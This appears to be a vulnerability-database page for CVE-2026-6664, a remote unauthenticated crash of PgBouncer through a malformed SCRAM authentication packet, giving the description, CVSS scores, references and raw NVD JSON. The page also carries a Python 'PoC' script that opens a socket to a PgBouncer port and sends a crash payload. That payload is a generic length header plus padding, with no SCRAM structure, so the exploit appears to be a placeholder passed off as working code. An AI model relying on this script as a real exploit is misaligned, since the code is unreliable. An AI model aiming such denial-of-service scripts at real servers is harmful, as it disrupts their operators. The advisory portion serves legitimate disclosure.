CVE-2026-6664

Description

An integer overflow in network packet parsing code in PgBouncer before 1.25.2 bypasses a boundary check and can lead to a crash. An unauthenticated remote attacker can crash PgBouncer with a malformed SCRAM authentication packet.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

PgBouncer < 1.25.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-6664: PgBouncer Integer Overflow DoS
import socket

def send_malformed_packet(target_ip, target_port):
    # Construct a malformed SCRAM authentication packet
    # This packet structure attempts to trigger the integer overflow in parsing
    payload = b'\x00\x00\x00\x08' + b'A' * 100 # Malformed length header + padding
    
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))
        s.send(payload)
        print("[+] Packet sent to %s:%d" % (target_ip, target_port))
        s.close()
    except Exception as e:
        print("[-] Error: %s" % str(e))

if __name__ == "__main__":
    send_malformed_packet("127.0.0.1", 6432)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6664
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6664
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6664/
[4] VulDB https://vuldb.com/cve/CVE-2026-6664
[5] https://www.pgbouncer.org/changelog.html#pgbouncer-125x

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6664", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-09T01:16:08.863", "lastModified": "2026-05-09T01:16:08.863", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "An integer overflow in network packet parsing code in PgBouncer before 1.25.2 bypasses a boundary check and can lead to a crash. An unauthenticated remote attacker can crash PgBouncer with a malformed SCRAM authentication packet."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "references": [{"url": "https://www.pgbouncer.org/changelog.html#pgbouncer-125x", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}